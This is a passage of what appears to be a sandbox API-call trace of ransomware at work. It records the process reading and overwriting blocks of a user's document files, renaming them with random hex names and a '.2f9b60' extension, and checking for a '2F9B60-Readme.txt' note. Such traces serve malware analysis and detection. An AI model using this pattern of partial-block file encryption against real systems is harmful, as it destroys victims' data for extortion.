[0092.870] sprintf (in: _Dest=0x1cd9f402, _Format="%c%c" | out: _Dest="a7") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f404, _Format="%c%c" | out: _Dest="e5") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f406, _Format="%c%c" | out: _Dest="a1") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f408, _Format="%c%c" | out: _Dest="71") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f40a, _Format="%c%c" | out: _Dest="2e") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f40c, _Format="%c%c" | out: _Dest="84") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f40e, _Format="%c%c" | out: _Dest="25") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f410, _Format="%c%c" | out: _Dest="61") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f412, _Format="%c%c" | out: _Dest="16") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f414, _Format="%c%c" | out: _Dest="fd") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f416, _Format="%c%c" | out: _Dest="9f") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f418, _Format="%c%c" | out: _Dest="06") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f41a, _Format="%c%c" | out: _Dest="e9") returned 2 [0092.870] RtlInitAnsiString (in: DestinationString=0x2271fc88, SourceString="b92b33dacdd765d6b8a7e5a1712e84256116fd9f06e9" | out: DestinationString="b92b33dacdd765d6b8a7e5a1712e84256116fd9f06e9") [0092.871] RtlAnsiStringToUnicodeString (in: DestinationString=0x2271fc58, SourceString="b92b33dacdd765d6b8a7e5a1712e84256116fd9f06e9", AllocateDestinationString=1 | out: DestinationString="b92b33dacdd765d6b8a7e5a1712e84256116fd9f06e9") returned 0x0 [0092.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e2c0 [0092.871] wcscat (in: _Dest=0x1b85ef10, _Source="b92b33dacdd" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b92b33dacdd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b92b33dacdd" [0092.871] wcscat (in: _Dest=0x1b85ef10, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b92b33dacdd.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b92b33dacdd.2f9b60" [0092.871] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b92b33dacdd.2f9b60", NtPathName=0x2271fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b92b33dacdd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad2a0 [0092.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.873] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x2271fc98, FileInformation=0x2271fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2271fc98, FileInformation=0x2271fca8) returned 0x0 [0092.873] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x2271fc98, FileInformation=0x2271fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 [0092.875] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.877] CloseHandle (hObject=0xcfc) returned 1 [0092.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef10 [0092.878] wcscpy (in: _Dest=0x1b85ef10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.878] wcscat (in: _Dest=0x1b85ef10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.878] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e6b0) returned 1 Thread: id = 510 os_tid = 0xd44 [0092.887] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KIjXPwci-RNR.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kijxpwci-rnr.ots")) returned 0x20 [0092.887] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KIjXPwci-RNR.ots", dwFileAttributes=0x20) returned 1 [0092.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KIjXPwci-RNR.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kijxpwci-rnr.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.888] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x227dfe40 | out: lpFileSize=0x227dfe40*=94277) returned 1 [0092.888] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x17041, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.888] ReadFile (in: hFile=0xcfc, lpBuffer=0x227dfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x227dfe08, lpOverlapped=0x0 | out: lpBuffer=0x227dfdc0*, lpNumberOfBytesRead=0x227dfe08*=0x4, lpOverlapped=0x0) returned 1 [0092.889] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0092.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.889] NtQuerySystemTime (in: CurrentTime=0x227dfd00 | out: CurrentTime=0x227dfd00*=132462176987242000) returned 0x0 [0092.889] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x7f6db638 [0092.889] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x1a4d9992 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x4d638401 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x9c81c95 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x7e16a739 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x7fa0f956 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x4dd748fb [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0xb2a2149 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x18140cfb [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x6b5d92df [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x31a84af1 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x4f25a208 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x7737fdaa [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x78f49936 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x592d5a26 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x246f8e4d [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0xa492fc2 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x7ecd39e6 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x6b4bfec4 [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x5fe447ca [0092.890] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x256e881c [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x4f8515c2 [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x59af8a0b [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x4a0759e [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x268b337c [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x54cdc0c4 [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x1accb012 [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0xef22c13 [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x6c7a64f9 [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x293493e6 [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x7da80138 [0092.891] RtlRandomEx (in: Seed=0x227dfcf0 | out: Seed=0x227dfcf0) returned 0x6d5ff3fc [0092.908] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.908] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x227dfd60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x227dfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.908] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0092.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2f0) returned 1 [0092.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0092.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b230) returned 1 [0092.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.910] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x227dfd60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x227dfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.913] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.913] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x227dfd60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x227dfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.913] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b230) returned 1 [0092.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b200) returned 1 [0092.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.914] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x227dfd60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x227dfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.915] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x13445, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.915] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x227dfd60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x227dfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.915] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x13445, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b200) returned 1 [0092.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0092.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.916] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x227dfd60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x227dfd60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e6b0 [0092.917] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.917] WriteFile (in: hFile=0xcfc, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x227dfe10, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x227dfe10*=0x152, lpOverlapped=0x0) returned 1 [0092.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b230) returned 1 [0092.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0092.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82bc20 [0092.920] sprintf (in: _Dest=0x1b82bc20, _Format="%c%c" | out: _Dest="d1") returned 2 [0092.920] sprintf (in: _Dest=0x1b82bc22, _Format="%c%c" | out: _Dest="cf") returned 2 [0092.920] sprintf (in: _Dest=0x1b82bc24, _Format="%c%c" | out: _Dest="09") returned 2 [0092.920] sprintf (in: _Dest=0x1b82bc26, _Format="%c%c" | out: _Dest="40") returned 2 [0092.920] sprintf (in: _Dest=0x1b82bc28, _Format="%c%c" | out: _Dest="60") returned 2 [0092.920] sprintf (in: _Dest=0x1b82bc2a, _Format="%c%c" | out: _Dest="30") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc2c, _Format="%c%c" | out: _Dest="1f") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc2e, _Format="%c%c" | out: _Dest="84") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc30, _Format="%c%c" | out: _Dest="49") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc32, _Format="%c%c" | out: _Dest="a7") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc34, _Format="%c%c" | out: _Dest="94") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc36, _Format="%c%c" | out: _Dest="3b") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc38, _Format="%c%c" | out: _Dest="62") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc3a, _Format="%c%c" | out: _Dest="84") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc3c, _Format="%c%c" | out: _Dest="86") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc3e, _Format="%c%c" | out: _Dest="cd") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc40, _Format="%c%c" | out: _Dest="21") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc42, _Format="%c%c" | out: _Dest="fb") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc44, _Format="%c%c" | out: _Dest="d0") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc46, _Format="%c%c" | out: _Dest="0d") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc48, _Format="%c%c" | out: _Dest="1d") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc4a, _Format="%c%c" | out: _Dest="94") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc4c, _Format="%c%c" | out: _Dest="8d") returned 2 [0092.921] sprintf (in: _Dest=0x1b82bc4e, _Format="%c%c" | out: _Dest="91") returned 2 [0092.922] sprintf (in: _Dest=0x1b82bc50, _Format="%c%c" | out: _Dest="1e") returned 2 [0092.922] sprintf (in: _Dest=0x1b82bc52, _Format="%c%c" | out: _Dest="b5") returned 2 [0092.922] sprintf (in: _Dest=0x1b82bc54, _Format="%c%c" | out: _Dest="77") returned 2 [0092.922] sprintf (in: _Dest=0x1b82bc56, _Format="%c%c" | out: _Dest="21") returned 2 [0092.922] sprintf (in: _Dest=0x1b82bc58, _Format="%c%c" | out: _Dest="6f") returned 2 [0092.922] sprintf (in: _Dest=0x1b82bc5a, _Format="%c%c" | out: _Dest="9c") returned 2 [0092.922] sprintf (in: _Dest=0x1b82bc5c, _Format="%c%c" | out: _Dest="8d") returned 2 [0092.922] sprintf (in: _Dest=0x1b82bc5e, _Format="%c%c" | out: _Dest="75") returned 2 [0092.922] RtlInitAnsiString (in: DestinationString=0x227dfe88, SourceString="d1cf094060301f8449a7943b628486cd21fbd00d1d948d911eb577216f9c8d75" | out: DestinationString="d1cf094060301f8449a7943b628486cd21fbd00d1d948d911eb577216f9c8d75") [0092.922] RtlAnsiStringToUnicodeString (in: DestinationString=0x227dfe58, SourceString="d1cf094060301f8449a7943b628486cd21fbd00d1d948d911eb577216f9c8d75", AllocateDestinationString=1 | out: DestinationString="d1cf094060301f8449a7943b628486cd21fbd00d1d948d911eb577216f9c8d75") returned 0x0 [0092.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784d00 [0092.922] wcscat (in: _Dest=0x1b784c70, _Source="d1cf094060301f84" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d1cf094060301f84") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d1cf094060301f84" [0092.922] wcscat (in: _Dest=0x1b784c70, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d1cf094060301f84.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d1cf094060301f84.2f9b60" [0092.922] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d1cf094060301f84.2f9b60", NtPathName=0x227dfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\d1cf094060301f84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce108f0 [0092.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.924] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x227dfe98, FileInformation=0x227dfea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x227dfe98, FileInformation=0x227dfea8) returned 0x0 [0092.924] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x227dfe98, FileInformation=0x227dfea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784c70) returned 1 [0092.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784d00) returned 1 [0092.927] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.928] CloseHandle (hObject=0xcfc) returned 1 [0092.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef10 [0092.929] wcscpy (in: _Dest=0x1b85ef10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.929] wcscat (in: _Dest=0x1b85ef10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.929] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 Thread: id = 511 os_tid = 0xd4c [0092.933] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kjCAUtPPwlkZfv5x.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kjcautppwlkzfv5x.pptx")) returned 0x20 [0092.933] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kjCAUtPPwlkZfv5x.pptx", dwFileAttributes=0x20) returned 1 [0092.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kjCAUtPPwlkZfv5x.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kjcautppwlkzfv5x.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.933] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x2290fc00 | out: lpFileSize=0x2290fc00*=19231) returned 1 [0092.933] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x4b1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.934] ReadFile (in: hFile=0xcfc, lpBuffer=0x2290fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2290fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2290fb80*, lpNumberOfBytesRead=0x2290fbc8*=0x4, lpOverlapped=0x0) returned 1 [0092.935] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0092.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0092.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.935] NtQuerySystemTime (in: CurrentTime=0x2290fac0 | out: CurrentTime=0x2290fac0*=132462176987710000) returned 0x0 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x36cf3150 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x6cd2d04f [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x4f271f86 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x1b9ab1b6 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x1ac57603 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x64a3ddee [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: Seed=0x2290fab0) returned 0x4dfd2491 [0092.935] RtlRandomEx (in: Seed=0x2290fab0 | out: 